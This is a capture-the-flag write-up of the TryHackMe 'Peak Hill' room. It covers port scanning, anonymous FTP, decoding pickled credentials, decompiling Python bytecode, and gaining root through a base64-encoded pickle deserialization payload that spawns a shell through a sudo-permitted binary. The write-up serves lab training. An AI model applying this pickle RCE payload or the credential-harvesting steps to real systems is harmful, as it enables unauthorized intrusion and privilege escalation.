TryHackMe - Peak Hill

Exercises in Python library abuse and some exploitation techniques

https://i.imgur.com/KUwrZf4.png

Deploy and compromise the machine!

Make sure you’re connected to TryHackMe’s network.

Title Peak Hill
Difficulty Medium
Author JohnHammond
Tags python, bytecode, pickle, uncompyle6

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn peakhill.thm
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 19:37 EDT
Nmap scan report for peakhill.thm (10.10.45.203)
Host is up (0.28s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE  SERVICE
20/tcp   closed ftp-data
21/tcp   open   ftp
22/tcp   open   ssh
7321/tcp open   swx

Nmap done: 1 IP address (1 host up) scanned in 27.00 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 20,21,22,7321 peakhill.thm
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 19:38 EDT
Nmap scan report for peakhill.thm (10.10.45.203)
Host is up (0.29s latency).

PORT     STATE  SERVICE  VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            17 May 15  2020 test.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.9.63.75
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open   ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 04:d5:75:9d:c1:40:51:37:73:4c:42:30:38:b8:d6:df (RSA)
|   256 7f:95:1a:d7:59:2f:19:06:ea:c1:55:ec:58:35:0c:05 (ECDSA)
|_  256 a5:15:36:92:1c:aa:59:9b:8a:d8:ea:13:c9:c0:ff:b6 (ED25519)
7321/tcp open   swx?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|     Username: Password:
|   NULL:
|_    Username:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port7321-TCP:V=7.94%I=7%D=10/4%Time=651DF76B%P=x86_64-pc-linux-gnu%r(NU
SF:LL,A,"Username:\x20")%r(GenericLines,14,"Username:\x20Password:\x20")%r
SF:(GetRequest,14,"Username:\x20Password:\x20")%r(HTTPOptions,14,"Username
SF::\x20Password:\x20")%r(RTSPRequest,14,"Username:\x20Password:\x20")%r(R
SF:PCCheck,14,"Username:\x20Password:\x20")%r(DNSVersionBindReqTCP,14,"Use
SF:rname:\x20Password:\x20")%r(DNSStatusRequestTCP,14,"Username:\x20Passwo
SF:rd:\x20")%r(Help,14,"Username:\x20Password:\x20")%r(SSLSessionReq,14,"U
SF:sername:\x20Password:\x20")%r(TerminalServerCookie,14,"Username:\x20Pas
SF:sword:\x20")%r(TLSSessionReq,14,"Username:\x20Password:\x20")%r(Kerbero
SF:s,14,"Username:\x20Password:\x20")%r(SMBProgNeg,14,"Username:\x20Passwo
SF:rd:\x20")%r(X11Probe,14,"Username:\x20Password:\x20")%r(FourOhFourReque
SF:st,14,"Username:\x20Password:\x20")%r(LPDString,14,"Username:\x20Passwo
SF:rd:\x20")%r(LDAPSearchReq,14,"Username:\x20Password:\x20")%r(LDAPBindRe
SF:q,14,"Username:\x20Password:\x20")%r(SIPOptions,14,"Username:\x20Passwo
SF:rd:\x20")%r(LANDesk-RC,14,"Username:\x20Password:\x20")%r(TerminalServe
SF:r,14,"Username:\x20Password:\x20")%r(NCP,14,"Username:\x20Password:\x20
SF:")%r(NotesRPC,14,"Username:\x20Password:\x20")%r(JavaRMI,14,"Username:\
SF:x20Password:\x20")%r(WMSRequest,14,"Username:\x20Password:\x20")%r(orac
SF:le-tns,14,"Username:\x20Password:\x20")%r(ms-sql-s,14,"Username:\x20Pas
SF:sword:\x20")%r(afp,14,"Username:\x20Password:\x20")%r(giop,14,"Username
SF::\x20Password:\x20");
Device type: general purpose|specialized|storage-misc|WAP|printer
Running (JUST GUESSING): Linux 5.X|3.X|4.X|2.6.X (94%), Crestron 2-Series (87%), HP embedded (87%), Asus embedded (86%)
OS CPE: cpe:/o:linux:linux_kernel:5.4 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:asus:rt-n56u cpe:/o:linux:linux_kernel:3.4
Aggressive OS guesses: Linux 5.4 (94%), Linux 3.10 - 3.13 (89%), Linux 3.10 - 4.11 (88%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%), Linux 3.2 - 3.8 (88%), Linux 4.2 (88%), Linux 4.4 (88%), Linux 3.12 (87%), Linux 3.2 - 3.5 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 20/tcp)
HOP RTT       ADDRESS
1   264.13 ms 10.9.0.1
2   293.18 ms peakhill.thm (10.10.45.203)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 184.50 seconds

FTP (port 21)

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ ftp peakhill.thm
Connected to peakhill.thm.
220 (vsFTPd 3.0.3)
Name (peakhill.thm:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||29412|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 15  2020 .
drwxr-xr-x    2 ftp      ftp          4096 May 15  2020 ..
-rw-r--r--    1 ftp      ftp          7048 May 15  2020 .creds
-rw-r--r--    1 ftp      ftp            17 May 15  2020 test.txt
226 Directory send OK.
ftp> pwd
Remote directory: /
ftp> mget *
mget test.txt [anpqy?]? a
Prompting off for duration of mget.
229 Entering Extended Passive Mode (|||45460|)
150 Opening BINARY mode data connection for test.txt (17 bytes).
100% |***********************************************************************|    17       35.70 KiB/s    00:00 ETA
226 Transfer complete.
17 bytes received in 00:00 (0.05 KiB/s)
ftp> get .creds
local: .creds remote: .creds
229 Entering Extended Passive Mode (|||24781|)
150 Opening BINARY mode data connection for .creds (7048 bytes).
100% |***********************************************************************|  7048       11.05 MiB/s    00:00 ETA
226 Transfer complete.
7048 bytes received in 00:00 (21.48 KiB/s)
ftp> exit
221 Goodbye.

Enumerate the FTP service, I found the interested file named .creds containing 1 and 0 characters:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ cat test.txt
vsftpd test file

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ file .creds
.creds: ASCII text, with very long lines (7048), with no line terminators

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ cat .creds
10000000000000110101110101110001[...]011001110001010110100110010100101110

Use the CyberChef to decode the string from binary, I get the output as below:

Untitled

Base on the tags from the challenge room, I do a few researches and consider these value could be loaded (read) using pickle from python. I save the output into a file named creds_pickle:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ cat creds_pickle
�]q�(X
���ssh_pass15qX���uq�qX ���ssh_user1qX���hq�qX
���ssh_pass25qX���rq�q  X
���ssh_pass20q
h�qX    ���ssh_pass7qX���_q
�qX     ���ssh_user0qX���gq�qX
���ssh_pass26qX���lq�qX ���ssh_pass5qX���3q�qX  ���ssh_pass1qX���1q�qX
���ssh_pass22qh
�qX
���ssh_pass12qX���@q�qX ���ssh_user2q X���eq!�q"X       ���ssh_user5q#X���iq$�q%X
���ssh_pass18q&h
�q'X
���ssh_pass27q(X���dq)�q*X      ���ssh_pass3q+X���kq,�q-X
���ssh_pass19q.X���tq/�q0X      ���ssh_pass6q1X���sq2�q3X       ���ssh_pass9q4h�q5X
���ssh_pass23q6X���wq7�q8X
���ssh_pass21q9h�q:X    ���ssh_pass4q;h�q<X
���ssh_pass14q=X���0q>�q?X      ���ssh_user6q@X���nqA�qBX       ���ssh_pass2qCX���cqD�qEX
���ssh_pass13qFh�qGX
���ssh_pass16qHhA�qIX   ���ssh_pass8qJh�qKX
���ssh_pass17qLh)�qMX
���ssh_pass24qNh>�qOX   ���ssh_user3qPh�qQX     ���ssh_user4qRh,�qSX
���ssh_pass11qTh
�qUX    ���ssh_pass0qVX���pqW�qXX
���ssh_pass10qYh�qZe.

Then, following the instruction from datacamp, I write a simple script to read these data:

1
2
3
4
5
import pickle

f = open('creds_pickle', 'rb')
extract_creds = pickle.load(f)
print(extract_creds)

Running my script and I get a list of tuples:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ python3 extract_creds.py
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'), ('ssh_pass20', 'h'), [...], ('ssh_pass10', '1')]

I realize that these tuples containing keys of username and password used for the ssh connection and their value are separated into single characters. To combine these characters together within correct index, I write down another script to automatically combine them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import pickle

f = open('creds_pickle', 'rb')
extract_creds = pickle.load(f)

# Convert tuples of list -> dict

creds_dict = dict(extract_creds)

# Create 2 lists -> Get the max length

username_chars = []
password_chars = []

for k,v in creds_dict.items():
if "ssh_user" in k:
username_chars.append(k)
elif "ssh_pass" in k:
password_chars.append(k)

# Combine the values in creds_dict following each index of lists:

username = ""
password = ""

for i in range(len(username_chars)):
username += creds_dict[f"ssh_user{i}"]

for i in range(len(password_chars)):
password += creds_dict[f"ssh_pass{i}"]

print(f"Username: {username}")
print(f"Password: {password}")

And this is the creds:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ python3 ssh_creds.py
Username: gherkin
Password: [REDACTED]

SSH (port 22)

I used the above creds to login ssh:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ ssh gherkin@peakhill.thm
The authenticity of host 'peakhill.thm (10.10.26.167)' can't be established.
ED25519 key fingerprint is SHA256:zNyVJXURf2VOX8X9V3uTsxMOoDlGK28B8x4cVX5oN9c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'peakhill.thm' (ED25519) to the list of known hosts.
gherkin@peakhill.thm's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

28 packages can be updated.
19 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

gherkin@ubuntu-xenial:~$

In the user’s directory, there is a file within extension .pyc.

From Google: The pyc files are compiled bytecode files that are generated by the Python interpreter when a Python script is imported or executed

gherkin@ubuntu-xenial:~$ ls -la
total 16
drwxr-xr-x 3 gherkin gherkin 4096 Oct  5 01:26 .
drwxr-xr-x 4 root    root    4096 May 15  2020 ..
drwx------ 2 gherkin gherkin 4096 Oct  5 01:26 .cache
-rw-r--r-- 1 root    root    2350 May 15  2020 cmd_service.pyc

Horizontal Privilege Escalation

Therefore, I transfer the file to my local machine using scp to decompile it:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ scp gherkin@peakhill.thm:/home/gherkin/cmd_service.pyc ~/TryHackMe/peakhill/

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ ls -l cmd_service.pyc
-rw-r--r-- 1 kali kali 1949 Oct  4 21:51 cmd_service.py

Then, I have to install the uncompyle6 to decompile this file using following commands:

pip install git+https://github.com/rocky/python-xdis
pip install git+https://github.com/rocky/python-uncompyle6

and decompile with this commands:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ ~/.local/bin/uncompyle6 cmd_service.pyc

The decompiled script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from Crypto.Util.number import bytes_to_long, long_to_bytes
import sys, textwrap, socketserver, string, readline, threading
from time import \*
import getpass, os, subprocess
username = long_to_bytes(1684630636)
password = long_to_bytes(2457564920124666544827225107428488864802762356L)

class Service(socketserver.BaseRequestHandler):

    def ask_creds(self):
        username_input = self.receive(b'Username: ').strip()
        password_input = self.receive(b'Password: ').strip()
        print(username_input, password_input)
        if username_input == username:
            if password_input == password:
                return True
        return False

    def handle(self):
        loggedin = self.ask_creds()
        if not loggedin:
            self.send(b'Wrong credentials!')
            return             return None
        self.send(b'Successfully logged in!')
        while True:
            command = self.receive(b'Cmd: ')
            p = subprocess.Popen(command,
              shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
            self.send(p.stdout.read())

    def send(self, string, newline=True):
        if newline:
            string = string + b'\n'
        self.request.sendall(string)

    def receive(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self.request.recv(4096).strip()

class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
pass

def main():
print('Starting server...')
port = 7321
host = '0.0.0.0'
service = Service
server = ThreadedService((host, port), service)
server.allow_reuse_address = True
server_thread = threading.Thread(target=(server.serve_forever))
server_thread.daemon = True
server_thread.start()
print('Server started on ' + str(server.server_address) + '!')
while True:
sleep(10)

if **name** == '**main**':
main()

The above Python script is used to establish a server on port 7321 and to validate the username and password input. These values could easily observe at the beginning of the script:

1
2
username = long_to_bytes(1684630636)
password = long_to_bytes(2457564920124666544827225107428488864802762356)

❗ Remember to remove the last L characters of the password in order to correct the data type

Print out these values and I get the creds:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ python3 7321_creds.py
Username: b'dill'
password: b'[REDACTED]'

Using the above creds to get access as user dill on port 7321:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ telnet peakhill.thm 7321
Trying 10.10.26.167...
Connected to peakhill.thm.
Escape character is '^]'.
Username: dill
Password: [REDACTED]
Successfully logged in!
Cmd: id
uid=1003(dill) gid=1003(dill) groups=1003(dill)

Navigate to the user’s directory and get the flag:

Cmd: ls -l /home/dill
total 4
-r--r----- 1 dill dill 33 May 15  2020 user.txt

Cmd: cat /home/dill/user.txt
[REDACTED]

I also get the id_rsa key and use it to establish another shell via ssh service for a better view and interaction-shell:

Cmd: ls -l /home/dill/.ssh/
total 12
-rw-r--r-- 1 dill dill  568 May 15  2020 authorized_keys
-rw------- 1 dill dill 2590 May 15  2020 id_rsa
-rw-r--r-- 1 dill dill  568 May 15  2020 id_rsa.pub

Cmd: cat /home/dill/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
/V7pwBay5mHnsAAAAKam9obkB4cHMxNQE=
-----END OPENSSH PRIVATE KEY-----
┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ ssh dill@peakhill.thm -i id_rsa
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

28 packages can be updated.
19 updates are security updates.

Last login: Wed May 20 21:56:05 2020 from 10.1.122.133
dill@ubuntu-xenial:~$

Vertical Privilege Escalation

dill@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for dill on ubuntu-xenial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dill may run the following commands on ubuntu-xenial:
    (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm

dill@ubuntu-xenial:/opt/peak_hill_farm$ ls -l peak_hill_farm
-rwxr-x--x 1 root root 1218056 May 15  2020 peak_hill_farm

I don’t know what the peak_hill_farm would do because I don’t have the permission to read or transfer it (-rwxr-x--x), so I just execute it and try to input something if requires:

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow:
this not grow did not grow on the Peak Hill Farm! :(

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: id
failed to decode base64

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: awQ=
this not grow did not grow on the Peak Hill Farm! :(

According to the previous steps using pickle, I consider that the pickle might be used in this situation too. Then I create a payload which establish the root shell and then pickle and encode it with base64:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import base64
import os

class RCE:
def **reduce**(self):
cmd = ("/bin/bash")
return os.system, (cmd,)

if **name** == '**main**':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))

Then I execute the script and get my own payload:

┌──(kali㉿kali)-[~/TryHackMe/peakhill]
└─$ python3 pickle_rce.py
b'gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAkvYmluL2Jhc2iUhZRSlC4='

After that, I execute the peak_hill_farm file again and input the payload:

dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo ./peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAkvYmluL2Jhc2iUhZRSlC4=
root@ubuntu-xenial:/opt/peak_hill_farm# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

Navigate to the /root/ directory and find out the root flag. However, this is tricky because I cannot read the flag within the error “No such file or directory”:

root@ubuntu-xenial:/opt/peak_hill_farm# cd /root
root@ubuntu-xenial:/root# ls -la
total 28
drwx------  4 root root 4096 May 18  2020 .
drwxr-xr-x 25 root root 4096 Oct  5 01:20 ..
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4096 May 18  2020 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--r-----  1 root root   33 May 15  2020  root.txt 
drwx------  2 root root 4096 May 15  2020 .ssh
root@ubuntu-xenial:/root# cat root.txt
cat: root.txt: No such file or directory
root@ubuntu-xenial:/root# ls -l
total 4
-r--r----- 1 root root 33 May 15  2020  root.txt

What is happening? The root.txt file is still there! I decide to use the find command to figure out:

root@ubuntu-xenial:/root# find . -name "*.txt*"
./ root.txt

Ok, the owner set the file name with spaces. To solve this problem, I append the -exec flag to execute the cat command below:

root@ubuntu-xenial:/root# find . -name "*.txt*" -exec cat {} \;
[REDACTED]